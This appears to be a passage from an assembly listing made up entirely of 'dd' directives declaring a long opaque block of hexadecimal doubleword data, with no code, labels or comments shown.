		dd 0F7B439BFh, 70C0805Dh, 0CDC4DEDFh, 1F97F462h, 87B19Ch
		dd 8389AE3Dh, 0DE03D4A0h, 7AD7EC12h, 6E58C869h,	498D0066h
		dd 274A98D9h, 0F871404Eh, 0E5E2E011h, 0D3831300h, 0BF499610h
		dd 0A0304DE6h, 5C30E92Fh, 8C3F3036h, 6C88E7B0h,	0D90A3A74h
		dd 0B4EFC5CCh, 572B3000h, 60F20C61h, 5626392Eh,	0E01D4252h
		dd 5803E5FBh, 0E02B8075h, 3170A1h, 85136A68h, 0C1DA407Eh
		dd 0AD6DCA04h, 0F280D619h, 58616EDEh, 8001471h,	0B33E038Ch
		dd 1B0E0552h, 0A0DC2B2Dh, 0A463AD17h, 0D23C00DDh, 22C38F76h
		dd 0F390685Dh, 0B214F800h, 0AEEE1BFAh, 2BE0B3h,	0D9EB8436h
		dd 0A8D79F48h, 0FED3B803h, 0F8AC5859h, 3D413FFh, 5B2AECCFh
		dd 0FA886431h, 0F2005A61h, 21817047h, 66750Dh, 0A2B78C76h
		dd 0F3D1FB30h, 0FE00337Eh, 0A1EF4EA9h, 0DFBDAFh, 83B9D2DCh
		dd 38CF8D0Bh, 0ECDE3Ah,	96E9A6F3h, 307FA701h, 3198E550h
		dd 0AF070682h, 5DEF8536h, 0A61B0740h, 847A0067h, 156597C4h
		dd 1900DA8Ch, 0A2DDFF75h, 9C4B9Dh, 81585701h, 3D93BF6Ah
		dd 0F87A867Ah, 47364D00h, 0F56BCCF0h, 0F23C00A8h, 7B4E4B2Ch
		dd 5500E6A1h, 92AD9875h, 0FCBAB5Eh, 73B030EAh, 0F0B2018h
		dd 68F17500h, 4D425951h, 5F9700F5h, 0C0E25271h,	0EB1C49CBh
		dd 0A01D9AF6h, 30FC65C1h, 39DC03F5h, 7354007Eh,	0EF62CC32h
		dd 401425Eh, 0D4A16F3Dh, 4448EB3Ch, 0E92D1AAAh,	443081ADh
		dd 0DC001006h, 139CD8BCh, 0E240D8Ah, 4E469E71h,	0C03EC107h
		dd 77F77FE4h, 9B02BB1Ch, 3203836h, 0B917849Dh, 1000ADBEh
		dd 0CF8BEA1Bh, 7202C5CDh, 86710645h, 20AE0391h,	79125E04h
		dd 0C0EFA583h, 0F5F3C01Eh, 43B0C201h, 25E13C92h, 76A45C50h
		dd 0DAAD142Fh, 98C8A05Fh, 7687A880h, 13FC8FFh, 135FDB3Eh
		dd 0C0DE19A0h, 8EC624DAh, 1D58425Dh, 3D3C0h, 0D28B4404h
		dd 14005B52h, 77D9E9FBh, 1F43C513h, 4738DE97h, 0A02A74D0h
		dd 0F969FC75h, 72902E1Ch, 7E1D9Ch, 0CDEEE3B8h, 1E6D839Dh
		dd 80C553C6h, 27F19E8Ch, 3000C23Eh, 5D4BC7D4h, 91EDDEh
		dd 0F02F350Eh, 653D2E51h, 0AD1ADA0Eh, 3902E1D9h, 0C5C0893Eh
		dd 0BDC1013Ah, 0EBEA1F7Eh, 7B3D858h, 0D462C60Eh, 153A8054h
		dd 4D9456h, 0E08050FFh,	7358A122h, 4C17BE00h, 87D0F3A3h
		dd 57A70E7Fh, 2BC0EF3Bh, 89728C56h, 80EB1830h, 0AFFD55h
		dd 0A1E625ADh, 0A2772733h, 468DF0FDh, 0E35BEC06h, 70213Ah
		dd 0A69D4530h, 94F36392h, 0EC1B1419h, 51E8D418h, 38EC02h
		dd 96EA9F4Ch, 671C6C3Bh, 0A1CA0400h, 49B354A5h,	927E064Bh
		dd 0D860486Dh, 6B263700h, 1D72DCCh, 41C80072h, 0D0DA6842h
		dd 7460DE35h, 59F6F860h, 0DF0B0196h, 1A9E64FCh,	0D4A4C46Fh
		dd 0D016A679h, 4200FF01h, 635E1351h, 0CF05002Dh, 5B199244h
		dd 8001625h, 76F9F2D0h,	0E66BF115h, 3BE024B7h, 0FE930034h
		dd 637A27D9h, 703EB11Eh, 161D3E64h, 897FF4C0h, 4267D0h
		dd 0A31790A6h, 0DAEF8866h, 6C045300h, 7D9C30BDh, 0E2B0127h
		dd 312AC1B5h, 6089DD0Ah, 700024EEh, 0A016B9B3h,	0CB44C8h
		dd 0CA98CDB5h, 0E68D693Ah, 30CC4A3Eh, 0D69EB0B0h, 75F1767h
		dd 0E98700A5h, 38769F1h, 0F6D8F00h, 936884BCh, 83F2006Bh
		dd 3F907623h, 0B30E7332h, 47FA7F08h, 0D0A09805h, 0C034DDABh
		dd 0D4519380h, 10097B1h, 0BB0FF1B6h, 0EF94E5h, 0D6024F12h
		dd 989FBED8h, 88EABC30h, 6A146Bh, 89016ED3h, 0E6CE2033h
		dd 50077700h, 1D7BDB69h, 2B241C49h, 20D1405Eh, 0F2368694h
		dd 0C601EB7Ch, 0CCF5620Dh, 0B2400341h, 1A20B35h, 864BD1D2h
		dd 0D866B699h, 96265406h, 0BC005F73h, 0B9BD5BBEh, 14E700DEh
		dd 0A379B731h, 360072A5h, 4511805h, 0EE86EFAFh,	6F241E6Ch
		dd 0A989F909h, 0B00D38Ah, 0F64381CEh, 0A71F8F07h, 34477A59h
		dd 0AD2413A0h, 97DD6h, 663A65C1h, 61F1D50Eh, 0AFEE7F00h
		dd 57E9F555h, 70862650h, 2AE6008Eh, 3A841A21h, 1CEE9401h
		dd 0B156B65Fh, 4738FCh,	9066BD75h, 0D7358387h, 5AA4CA00h
		dd 0A7F19231h, 0DCF80746h, 0F0C40869h, 0CD8F1EA6h, 0C13B8EEAh
		dd 24300DFh, 0EEEBB276h, 3F7F7AF6h, 0BE87E460h,	4F7735D6h
		dd 37B4F880h, 0E6019442h, 47FE76C6h, 8BF8A880h,	59400BD3h
		dd 0DB8087FCh, 7E69CF06h, 7668148h, 0D95392F4h,	0AD393CC0h
		dd 0C190A0F9h, 83330110h, 0AC8085F5h, 514880DEh, 18669387h
		dd 0FCD107D7h, 476B3627h, 31F6701Dh, 9C03174Fh,	85E4F460h
		dd 4899E9E8h, 9416D4h, 96AFC05Ah, 97D6AEE2h, 0A1F4B300h
		dd 21DADEC7h, 386C0065h, 5A4DDD4Fh, 8D0F324Eh, 50A2AEh
		dd 16DFA372h, 378E3BB0h, 6D99B307h, 0F4412096h,	151F5FCDh
		dd 0A200A195h, 6FC7C1ECh, 293B037Bh, 0BB7ABA2Ch, 0ADF8DFE0h
		dd 0E058A4DBh, 0A58705h, 0D54DB8B3h, 89C6FBB6h,	37D7F800h
		dd 460DEC18h, 8CFF124Ah, 0D82E03C8h, 0B4E85F20h, 0C360FA50h
		dd 392A7760h, 0A2BA1EF6h, 0F270001Fh, 0C19F386Bh, 0C00ACFEh
		dd 0D62DB29Ah, 3437AAE2h
		dd 70386E4Ch, 42F5402Ch, 0DFA5291Dh, 16B08758h,	12261861h
		dd 0C895C18Eh, 6C665A0Fh, 28C0007Ch, 0C36E2B84h, 0E5199FF8h
		dd 0C5F321E7h, 2E418096h, 7635AEFEh, 439C01AFh,	0C971A74Ah
		dd 64E3D45Fh, 67DA4500h, 7D3449Eh, 85E246h, 0A7578A34h
		dd 5E5D2D39h, 0ACA11075h, 506FE1EAh, 5718B824h,	0B1008CEAh
		dd 11A9BAE7h, 0A89BDDC4h, 609DF7C4h, 0A60C88B0h, 0D200902Fh
		dd 0CE08A9F8h, 714296h,	95B6AADAh, 0DE7BAE8Eh, 9F11E2h
		dd 0E09AB8ACh, 89B301A4h, 96D6BA39h, 0A12880D0h, 21033372h
		dd 0ACCD00B1h, 0F02944A2h, 0E900D4D3h, 0F43519F6h, 52E76284h
		dd 2D1EA802h, 7776E4Ah,	2049B61Dh, 52394647h, 64FD7100h
		dd 0F1E64C03h, 157801ABh, 1DADA263h, 506085D0h,	0A840BD0Ah
		dd 0FB64DC5Eh, 22570055h, 740C5AF0h, 9020D70h, 389217AAh
		dd 0CFE5C3ABh, 832AB6C3h, 0A5D8F06Ch, 0F016070Eh, 4F8028FBh
		dd 1107A260h, 5C07FDA3h, 0D9F3A3Ch, 0D7F1C440h,	0A00F0F65h
		dd 0C543E5B5h, 688E0ACEh, 0D602ED72h, 0ABA40C3Ah, 447F20FDh
		dd 0DC7DD889h, 80303E3Fh, 0DBDD57B6h, 546992Ah,	7795B34Dh
		dd 5509802Dh, 51009F02h, 3634D7ABh, 0C1A498h, 9D2C7B42h
		dd 0E7D4A3B9h, 0D2178100h, 8E0DFB7Dh, 759C00CEh, 0A15B586Ch
		dd 3A0082C9h, 20D014A8h, 8A5EB1h, 75611ED7h, 83109BD1h
		dd 26C73303h, 9868020Eh, 0BEAD34h, 13586578h, 0B273D549h
		dd 0CC07567Ch, 59C73C81h, 5823C8C0h, 0CB460719h, 507D0FCDh
		dd 1FD9F02Bh, 0BC3A597Ch, 1A033A1Ch, 101BD1h, 6071FBF3h
		dd 2F5A0CE2h, 5E08B5FAh, 48201460h, 76D86523h, 69F6195Bh
		dd 0F0158052h, 0B331C07Ah, 0F4D0D8CCh, 4FA1EB0Dh, 0F963ED6Ah
		dd 0DADC11D6h, 54972080h, 803CB21h, 1016FE00h, 426A848Ah
		dd 3DFFFC7Fh, 480E714Ch, 3400399Eh, 68FA759Bh, 218F21Eh
		dd 6904881Ch, 0FE80621Eh, 981308C4h, 0A457011Bh, 83A58D9Ah
		dd 0D821C444h, 0D74F2A01h, 0DB3424FCh, 0B53DE4h, 4CAB7A3Ch
		dd 727EB35Ah, 0B1D85E00h, 0E7DCCF73h, 7F1439A6h, 34A52180h
		dd 0EE582505h, 0B843DD07h, 22C06F29h, 3E80B2h, 33AFBBACh
		dd 5135F026h, 0F37E38h,	0D4984DB4h, 71531CFh, 962994B1h
		dd 82B950DFh, 0B00C9BD6h, 6011E80Bh, 897B41h, 7BE5F640h
		dd 8DDF1876h, 65134400h, 49CA3705h, 123E8F3h, 0C776C2FCh
		dd 0D095A034h, 0E5005ABAh, 59E8C16Ah, 4C062EA1h, 0E9007871h
		dd 334C9AFAh, 66008D76h, 4BD401C5h, 0F455C0h, 72862D2Eh
		dd 0D1874C02h, 0A8B6D805h, 0A880E092h, 0EE598393h, 0CE0F00C6h
		dd 0A64D57C4h, 0D3B5E86h, 3C00F6E7h, 9ADBD359h,	0BCED34h
		dd 1F4D1317h, 7F6CA27Dh, 0EF48400h, 615B11E7h, 9BE90080h
		dd 36AE5E96h, 77009751h, 0BFF865E0h, 90FEDEh, 0FCAA8580h
		dd 1FBCF188h, 9F4D9E00h, 2DCC9D55h, 1C673B60h, 24923780h
		dd 587453B6h, 0AF715FECh, 45AE2007h, 32706E05h,	0D55243h
		dd 9872F4FBh, 7D66066Fh, 0BD559300h, 0DEFAA8CEh, 0FE587310h
		dd 0B46A0052h, 398DC1CAh, 1F00905Dh, 8E6D417Bh,	6C082Ah
		dd 0BA9C3F01h, 955C18B7h, 8117B200h, 93907E96h,	2FA4Ah
		dd 0EFB0143Dh, 0E3EEFB1Bh, 0ABC66D00h, 0C1D28A24h, 554E0F61h
		dd 0FB00CD10h, 331F68A0h, 0BC501400h, 0DC31DFC3h, 570F0006h
		dd 25A95A49h, 541C77EDh, 0B693E8A4h, 9E80F51Dh,	56906B8Dh
		dd 24F54C33h, 0EFABC502h, 1BC04CFDh, 3D982BBCh,	0FCAED100h
		dd 0F1B03EA5h, 466601ADh, 1A885D73h, 990120E0h,	17A2F200h
		dd 0B7384418h, 94FD00CBh, 152022AAh, 3100D6A3h,	4477084Dh
		dd 4B023DCh, 6CF37F8h, 0DD13C083h, 0E3F26B32h, 0AEB84003h
		dd 88E0B70Dh, 74C79FD5h, 854E00EAh, 0B6FEF04h, 63009611h
		dd 52C1BAC6h, 0EB56DBDh, 18BF6709h, 5345E602h, 0DB2FE480h
		dd 25794B6Fh, 656DDD00h, 3C13C6A2h, 0E7EE0057h,	0C1432608h
		dd 566004AFh, 2DD0E450h, 297100D2h, 76C03648h, 4C00D782h
		dd 0ACCA88E8h, 9728308h, 70246DC6h, 15771800h, 880440CEh
		dd 0ACFDC246h, 0D8C082C0h, 2BDA0078h, 0C752816Ch, 2974FC37h
		dd 0E0711C00h, 90AFBDEFh, 0B1EE3E44h, 9AE24200h, 0B921FDAAh
		dd 804B8F3Dh, 9C986AD4h, 12F7591h, 27DDBCBh, 311AE271h
		dd 0FDF2CCF7h, 0AE5CFC00h, 80AAA13h, 16070096h,	3CC5F9D3h
		dd 0E20045B6h, 49D5FA2Eh, 676C72h, 5075311Ah, 9C7DEA8Bh
		dd 0BD1C4BFCh, 264119A5h, 34113AAAh, 9A71DCh, 0D8F6B95Ch
		dd 6D758501h, 0AD9F7E00h, 249659CFh, 0D7779Ah, 68433A91h
		dd 8BC95CACh, 35360B00h, 0E22E323Eh, 317707E8h,	0F0EAF80Eh
		dd 3F0C926Eh, 57587900h, 163E4821h, 5FD307D9h, 37EB9A41h
		dd 0F83FD009h, 64006CD4h, 402730E4h, 7BF913Ch, 5C21E860h
		dd 72E7FDh, 3B655FF8h, 8DC8C660h, 7FD077h, 0F79ECF6h, 0C9D13FFEh
		dd 3A035015h, 838405FCh, 0E6F07DCAh, 1CE148D2h,	8F7C8883h
		dd 105197D7h, 6D1E4CC7h, 95051A7Ah, 73047855h, 6884F802h
		dd 6A6840CAh, 54EC3EABh, 0D58E7600h, 0F5F757FDh, 21303702h
		dd 80F18DA7h, 95082E89h, 70A8009Bh, 0AB06D3A9h,	0B800D6B6h
		dd 0DD67D86Dh, 15614Eh,	5D72030Bh, 164A4CAEh, 0FF78BF01h
		dd 0ADE6F485h, 4DDBAC4h, 596C5B18h, 9B18814Bh, 21C1E4E3h
		dd 98D7E912h, 77C2345Fh, 602BDFA4h, 7DB4A0FCh, 0D1F303B2h
		dd 9EED8531h, 8DB16FE8h, 0EBDED200h, 0BA8AE00Eh, 8F930EA2h
		dd 0E6A06B3Dh, 89A912F3h, 0CCE1691Fh, 1101FEC7h, 1B90E3F0h
		dd 2D700ACh, 62F7A2CAh,	273A1C3Eh, 9EE8099h, 0C0E1218Ch
		dd 5F520084h, 0D91F9477h, 0FC018549h, 1462F671h, 0EEE95809h
		dd 8E4160h, 0CE656621h,	0DA717215h, 0EF6D7300h,	5E23DB67h
		dd 0F8C87FCBh, 56290192h, 0D16E1AA2h, 0CDC85005h, 8C907C09h
		dd 80FAE507h, 0B4503B50h, 0F2FF8Bh, 32404663h, 14DB5CBBh
		dd 82D10303h, 0B002FC3Ch, 93251Eh, 2D911F97h, 0E1EAAD15h
		dd 80CC0F3Eh, 5034EDCAh, 737EBD1h, 0CEF7A6AEh, 0EAD550C0h
		dd 6F16E9FAh, 8400FFF0h, 8F4F6B1Bh, 0B6270029h,	67E2E33Eh
		dd 25008318h, 0EF905F0Fh, 1FFEE58Eh, 8099DE35h,	9756F87h
		dd 0EB00CC78h, 5D245995h, 12EA3932h, 80667069h,	2F3FF6C4h
		dd 0C000A7Eh, 0B286CBD9h, 26FDDB28h, 80740380h,	39265005h
		dd 0BA7F2E65h, 80EC903Ch, 77EE3734h, 0E723151h,	5CAAD960h
		dd 4257F0E0h, 1E0FFFA7h, 0A037520Bh, 2944E47Fh,	105B0221h
		dd 823D1D6Ch, 15027866h, 6D332C19h, 683462BBh, 309AF694h
		dd 0BA600740h, 0C102CEE8h, 17DB2B76h, 0DF20A041h, 7873F707h
		dd 467D1CB2h, 59B50192h, 60392138h, 0F2121792h,	2C007FDAh
		dd 7128E74Dh, 0D6712Fh,	751A4457h, 0FDA70604h, 98E3E202h
		dd 40228E09h, 0F2F9020h, 3D498D0Fh, 0DFA3FA60h,	1E00253Ah
		dd 521FE10Ah, 0CA6E9A7h, 9E03B727h, 0C60E94BEh,	0C067C10Dh
		dd 5BD0657h, 800CB117h,	872BEB49h, 0F0040B5h, 1E46259h
		dd 12394FCh, 54A2A7F6h,	70FFD93Bh, 0F1EA9C9Ch, 0E7274A00h
		dd 7C14053Eh, 917F8Bh, 65C1B513h, 312A3948h, 0D000607Ah
		dd 6F3FBF8Ah, 4CAA78E9h, 0D1F0E47h, 163400C4h, 8F3B1B53h
		dd 806C8D17h, 0A3B09805h, 30723830h, 49F30015h,	0C7E86374h
		dd 244C8F11h, 4E6EC014h, 7B0EEEDh, 0C0A4DF20h, 0D6541226h
		dd 0E4F1CA40h, 6FB39E13h, 0BF4A2470h, 29A8B88Dh, 248809C4h
		dd 19E9632Ch
		dd 0A0500498h, 86A8AC00h, 0B6B8455Bh, 0B398772Ch, 0A79B0308h
		dd 3800514Dh, 54BFB8E6h, 816776h, 78D19484h, 0C75C9159h
		dd 0B66F7E00h, 1156EADCh, 74E2000Ah, 0B16AB70h,	8DE8BFBCh
		dd 286DF01Fh, 3497F180h, 0E9AFCEh, 9BDDC21Dh, 0D26E5B3Bh
		dd 0E1DA7E00h, 96AEF44Dh, 37CF0011h, 8C2E5358h,	77586328h
		dd 81A8004Ah, 38E141A3h, 0ABC4007Eh, 8374BFCCh,	0FD008F48h
		dd 0D16C86F1h, 155D280h, 2F406320h, 0E9EED006h,	6FC6F87Eh
		dd 0A7BAD13h, 12B03815h, 0C61C844Ch, 96D85400h,	0A366DCE7h
		dd 0CC3AB9FCh, 30D6E440h, 751E3CC8h, 39C029Ch, 1354742Eh
		dd 2C5097F8h, 0BF413F12h, 0EF1BA420h, 0B9EC3007h, 3DAB9C18h
		dd 72008A7Bh, 0E418C79Ah, 5FBD4A9h, 0EC16C02Fh,	0C88A85h
		dd 7500917h, 48F25135h,	8200C40Bh, 27E14577h, 0C890BFFFh
		dd 4453F300h, 464BCB41h, 0BAB300E5h, 979568C0h,	890C527h
		dd 403F67Bh, 0A4128B8Ah, 1FF29FE7h, 0C130C2F0h,	0E9F078DCh
		dd 0EFCF3D61h, 6AAB7289h, 2032016h, 7EE99B40h, 0AA690FF0h
		dd 68C1C450h, 0F014431Bh, 0C0C08C58h, 67B4AFDDh, 0C626039Ah
		dd 35A02B57h, 138D7FE0h, 0BA948B00h, 0A2159DF6h, 4B8B8ADh
		dd 0BDEDF9CDh, 0E39CC0F0h, 6500C425h, 54C214Bh,	706F73A9h
		dd 3DEE0A8h, 0F4D249F1h, 8CBD6960h, 2D0AF694h, 0A4D6135Ch
		dd 5977F560h, 0BCB33CC9h, 32FE2A30h, 93188676h,	74B152C6h
		dd 0AF7005h, 7A72DEDFh,	8BA11FC4h, 0AB031A76h, 69BF803Fh
		dd 0B7B5E87Eh, 74C41C32h, 510B0ED0h, 95CB3C0h, 0FB0023C6h
		dd 42F8F135h, 1BC7ADBh,	4984EA6h, 20B53F5Ch, 99000A25h
		dd 4595074Dh, 0C1B860h,	0A53CF282h, 0FCAB3E0Eh,	472F1900h
		dd 2DCCC03h, 807FE1h, 0D3A04329h, 0C1EB234Fh, 7250F000h
		dd 45619312h, 0B7B900E7h, 0B264CB79h, 710B571Fh, 86E53D21h
		dd 100F8Dh, 5AB0E0CDh, 4FC54B95h, 0A590C100h, 0A080BC8Ah
		dd 93313A94h, 6063AE80h, 0A998E055h, 0EB5F4C00h, 37EFC782h
		dd 3FD80EACh, 0CB208DB3h, 0FDDF889Eh, 0F23ADD01h, 0F44844F9h
		dd 0D7E0E035h, 69060023h, 0E09B12DAh, 0A57B37F0h, 0F474CF03h
		dd 888680h, 38629260h, 0AE6B2184h, 7E9BD300h, 34135547h
		dd 0A15307DDh, 80C048DFh, 0F5FDAE6Ah, 38A72830h, 3BE59B24h
		dd 0DF03AA32h, 4F20AB4Eh, 0BB6280E7h, 0F0053DC9h, 1810F670h
		dd 0DE090B80h, 0AACC007Ch, 9943AF65h, 0C648584Fh, 0E54C0690h
		dd 758A6D3h, 9ADFF35Fh,	3A6C2FE9h, 9800D121h, 5D2AEA15h
		dd 39357FF3h, 616A785h,	0F9790328h, 0E6D0788Bh,	0C1518C7Bh
		dd 24741058h, 0E800BB63h, 0CCDF0340h, 182D9D74h, 20A8BA32h
		dd 0C1733D78h, 0FD811E00h, 0C239456Eh, 892D00C9h, 4DD45753h
		dd 8E00AF5Eh, 5D7328F2h, 7B38887h, 65170A3Ah, 9F6FDE5Fh
		dd 0EEE00B6Fh, 222C78ACh, 7B18F426h, 2A9DD400h,	0C269D0h
		dd 733C67CFh, 6FAF6B2Fh, 420F0500h, 62346684h, 0E1CC0098h
		dd 69A1215h, 0ED382EDFh, 0BC7880F0h, 0C9B3D03Bh, 0F83407D5h
		dd 50C5232Ah, 0BAD1E651h, 373C6900h, 189F8A86h,	0D4326092h
		dd 786C2833h, 88FD7D00h, 9A3A83FAh, 0C018005Dh,	0D79B0F22h
		dd 0C577CB6Ch, 37E899FAh, 0D912E3FEh, 0A880535Ah, 0E3B27F2h
		dd 9F61859Dh, 85E9C66h,	0D2D09454h, 0A43BF200h,	78D76F1Fh
		dd 92960729h, 401A8016h, 6BD0A8AFh, 62007CB8h, 0BE01D24Fh
		dd 0D801334h, 0F2C6EB4Eh, 57204049h, 357E30E0h,	0E36E8C00h
		dd 14F2BF2Bh, 0A4A5A09Bh, 8328DEF3h, 718B581Bh,	30AD5DC0h
		dd 2A18DB48h, 3800E8D5h, 0B6614412h, 0F29006h, 0E89E51C8h
		dd 0BA3BEC4Bh, 3C9549h,	6330FB81h, 154917BDh, 80C2B22Dh
		dd 0C914F010h, 0A557CA4h, 6280868Fh, 93006878h,	0E93B6Ah
		dd 56F88848h, 61726BCAh, 731E7AFAh, 59803E26h, 6D38CF53h
		dd 5F4B0E4Ah, 0EE4013B9h, 0D19AF98Fh, 45E61600h, 0F3B1526Bh
		dd 0E9D601C5h, 94DFFC21h, 5FA3204Dh, 6EA96000h,	495A3864h
		dd 77FDEA3Fh, 8DE202E8h, 16CB1237h, 0F9A86B40h,	0ECAB2802h
		dd 87FBAC6Dh, 0EDD0ADC0h, 0A90209h, 0DB04E7C2h,	2B9B887Fh
		dd 0E6BB6A18h, 291950h,	0C28931E0h, 99746C8Fh, 25438A00h
		dd 3542DE71h, 80A2007Fh, 0D0A7F485h, 0C10719C4h, 2CFEED48h
		dd 7642C920h, 0E4310075h, 0DAD51ACCh, 52004FEAh, 51B4A2D2h
		dd 30579B15h, 97A04B33h, 2818BEFEh, 61100C7Fh, 5D183F3Fh
		dd 3D90B3B0h, 0D2138B67h, 4D07C64Eh, 0DB20D0A0h, 0F9A94Ch
		dd 0EF2383B0h, 1F07376Fh, 0C7185A0Eh, 0B2AD00F2h, 7490C02Ch
		dd 5D7F49h, 5B234025h, 0BCD2FD3Fh, 0B7004A7Ah, 9F2E8997h
		dd 0E8A4D0E4h, 0F121C05Ah, 22FFBE40h, 25390D00h, 0F8B93B82h
		dd 50C90049h, 776C633Eh, 30C01FDBh, 0C2ACA837h,	71DE0083h
		dd 14493CDCh, 58281C24h, 0A2008F5Ah, 7C32FD21h,	3C162620h
		dd 2503B150h, 7D42745Dh, 17993Bh, 0E381F923h, 504651h
		dd 5C3A4B4Eh, 36ED15Bh,	47AD7C07h, 0F240BA18h, 371ABD4h
		dd 9C8F8324h, 48005B17h, 395F1E2h, 0C15CD4EAh, 322AF2D1h
		dd 0B8804C22h, 38F11E04h, 4D31A559h, 0C62B0026h, 0F77500B8h
		dd 0C86608D9h, 0ABB0E94Bh, 0CB5F6801h, 7C8358A7h, 0CC415080h
		dd 11F39C4Dh, 18F2FA00h, 39FD77E7h, 36D50A87h, 6488F565h
		dd 205D60EFh, 94522845h, 20888484h, 92071E68h, 10CC2041h
		dd 6BB303EBh, 53180554h, 731059Fh, 0A6B14E8Ch, 3D011959h
		dd 0F9E274CBh, 42DB66BAh, 0D7E1FCF8h, 0F0480C67h, 61883C73h
		dd 0E26A2A07h, 3FF88C79h, 77058C74h, 0AFF94D3Dh, 0E84FA80h
		dd 6F8300F1h, 0DA784223h, 0D0FD0B2h, 63094F93h,	9850CB8Ch
		dd 73F536h, 8630C8FDh, 0BB38CCA8h, 57C0F400h, 0EBE29229h
		dd 75BE5820h, 0C13B600h, 3E48426Dh, 2B8D7502h, 0E0A473ADh
		dd 51C90Dh, 0CCF23490h,	0F1D9CBEh, 0ED654E00h, 4945982Ch
		dd 143D006Bh, 22CBDD81h, 0D700CA69h, 0FFFCF856h, 0BAF47FBh
		dd 98A34DEFh, 2CB4C200h, 7D000F20h, 0E991106Dh,	8EA809h
		dd 142A7923h, 0B8AFC5FAh, 0BD00D4FAh, 993DA670h, 9B4A7A5h
		dd 571D7EFEh, 0BE4F0Eh,	2CC6D653h, 8008350h, 0A9E5FEB3h
		dd 0E647D586h, 79870063h, 6DC82C96h, 893A94FCh,	0DA95801Ah
		dd 3FD6A672h, 0A82CA3A4h, 1003331Ch, 84502F96h,	0E0003A6Ch
		dd 0ACC0ABC2h, 0ABC14228h, 0EC38D9EFh, 9B00797Dh, 31441D1Eh
		dd 7F85E2C5h, 0B30902C1h, 7B3DD113h, 8151080h, 0E1788502h
		dd 246D3Ch, 2511DFDAh, 0E6346B20h, 595501C3h, 32C0F0FFh
		dd 42880E6h, 0C8AA5F06h, 619D0FA5h, 9AA06780h, 6DFB2496h
		dd 2189C61Fh, 0DC0AAB80h, 2DE82Fh, 0DA48808Dh, 0A26B07BEh
		dd 30DE5201h, 511FE6BCh, 0AF899080h, 75038258h,	0EFB5809Dh
		dd 48D8CEDh, 3F2ADE3Dh,	0F00CC70Dh, 369CC999h, 4972A400h
		dd 0AC1886B4h, 5BC0117h, 4C75D99Fh, 0CC83E9D0h,	0C10007EEh
		dd 637A8D64h, 97EF8ECh,	55D85B16h, 0BC4E0600h, 0C41DE0ACh
		dd 1F44072Bh, 0EFC08652h, 2C477CCEh, 0CBBB60h, 0D15A2FF9h
		dd 0BD07FD18h, 2C31376Dh, 0D0AB9AE0h, 8D990006h, 1015017Fh
		dd 7006B3FAh, 1771C7C9h, 0EE4307A4h, 0C0ED57BDh, 66BE4725h
		dd 0CAEBB01h, 0FD192879h, 3EF68880h, 300ED2A4h,	3A498E00h
		dd 1728D762h, 0FB450089h, 4F9DBDA6h, 4107AD42h,	0CCEAE349h
		dd 0EEA06420h, 384BF848h, 658EDC70h, 15406ACDh,	95AAE0E6h
		dd 0BFC4D11Fh, 0A6FF9300h
		dd 4EE20Dh, 279DBBFDh, 0B1C14F13h, 0F1351400h, 26ED55FAh
		dd 0A11F004Eh, 19CEBBFh, 29003CE8h, 36955FB0h, 6CFF1Ch
		dd 3D590C61h, 0CE32E953h, 553F6A00h, 0E25D625Bh, 0E14903A9h
		dd 0B5C61D22h, 404C2000h, 81BEC711h, 338507F6h,	0A00B1784h
		dd 344F1E01h, 0CC30B600h, 0E7C786F7h, 92E90350h, 0E419C82Fh
		dd 0CD42D1EAh, 7FC52BC0h, 0E952AE00h, 3D96A57h,	0BF560032h
		dd 0CC1FAA8Ah, 4D0EDAB3h, 0A7BDC9F8h, 0F00C2C3h, 0FE31303Eh
		dd 309E54C5h, 0ADCF0841h, 0C4C1606Bh, 56304AD0h, 0BCFA39A2h
		dd 7D39EE80h, 0F16E4D91h, 2E18D6E0h, 3249CCB1h,	7E7900F3h
		dd 9083C493h, 0BBB05807h, 0A304CC00h, 4312637Fh, 57270FF9h
		dd 2F82EBF0h, 8C80BA17h, 0BD666E62h, 0AD6F8600h, 996A8B1Bh
		dd 0A856395Bh, 4D178C80h, 9860B761h, 4ACE2C00h,	0ECBEA725h
		dd 0D60C07A3h, 0D00E24A5h, 3F1CE5C5h, 5373Ah, 28E4CB8Eh
		dd 0D2781Fh, 0A0E27CE8h, 45F0D502h, 0E5EE7D00h,	0E7F2FFCEh
		dd 4CDAE426h, 0F6002A90h, 7CDE5367h, 0EF1F8ECBh, 7A876F68h
		dd 60909E55h, 0F0F8BAEh, 0C4C3B098h, 55807BC9h,	515A79BAh
		dd 0CA397201h, 0AA3B2C73h, 0F8F811C9h, 0BB7323h, 4D903A6Dh
		dd 5A47C145h, 0FA03BD00h, 63761652h, 97B507A8h,	907B7AAEh
		dd 0D3A6844Ah, 0D1491104h, 0E280DB21h, 4E29FDh,	67FB16A8h
		dd 9910347h, 1B3E43E8h,	85A10021h, 0BDB1A6CFh, 0CD8A0080h
		dd 53AD0B6Eh, 0D700A9DCh, 0DB36D8C1h, 1E8F0F7Ch, 0C06A4103h
		dd 5A0B53AFh, 540384E8h, 4628DB0Ah, 0C14CF825h,	4879B8C5h
		dd 0BF004BB8h, 0D772653h, 660099E6h, 39D13C09h,	1A93422h
		dd 598E0F5Fh, 7A02233Eh, 0C258A9FCh, 0DCF1BD00h, 0E73DD546h
		dd 0E4373201h, 3C53AEC0h, 1A4CDF4h, 0E18B257Eh,	0BD74512Fh
		dd 0A77A0008h, 0AA66FE90h, 47EE001Bh, 504056CAh, 57301CB0h
		dd 0D3AF8138h, 0E6C06B1h, 0F015B886h, 742AC10Fh, 8AC8A105h
		dd 2EECDEB0h, 0D54B1996h, 87D0C03Fh, 796C3CF8h,	32081BF0h
		dd 4E4A0C1Fh, 0F3595048h, 93D4A500h, 7BC754BFh,	10833A27h
		dd 20375C18h, 0CB70C08Ch, 53C33D00h, 0D28DBC70h, 316C1DA3h
		dd 9860F0B5h, 0C500EC82h, 5C9986EEh, 2B3D1B2h, 0A6451EF1h
		dd 8490FED7h, 0C03FBBC8h, 0FCE58825h, 79AD8050h, 93143C68h
		dd 9ED2A50Eh, 38188066h, 78FF6B4h, 0E17F9F92h, 65A930D4h
		dd 1503C3B3h, 4E66B635h, 0B81DCB62h, 1780FC0h, 0C6A5C2D1h
		dd 0F0E279A8h, 0A93F26C1h, 4FE0876Dh, 84F0F0C9h, 0E81441h
		dd 2C43F55Bh, 0BBCFBC04h, 10343Bh, 39A2E5F3h, 0E4F7E4EDh
		dd 0B8710201h, 2B93A8EBh, 0B23AE360h, 7675F179h, 0A2EC03FEh
		dd 0CD3CE00h, 8128EE64h, 0DD0A0745h, 0C763EA72h, 0F125903Ah
		dd 9600AA9Bh, 2847FDABh, 0C54DCBh, 0E52A2689h, 61F37F57h
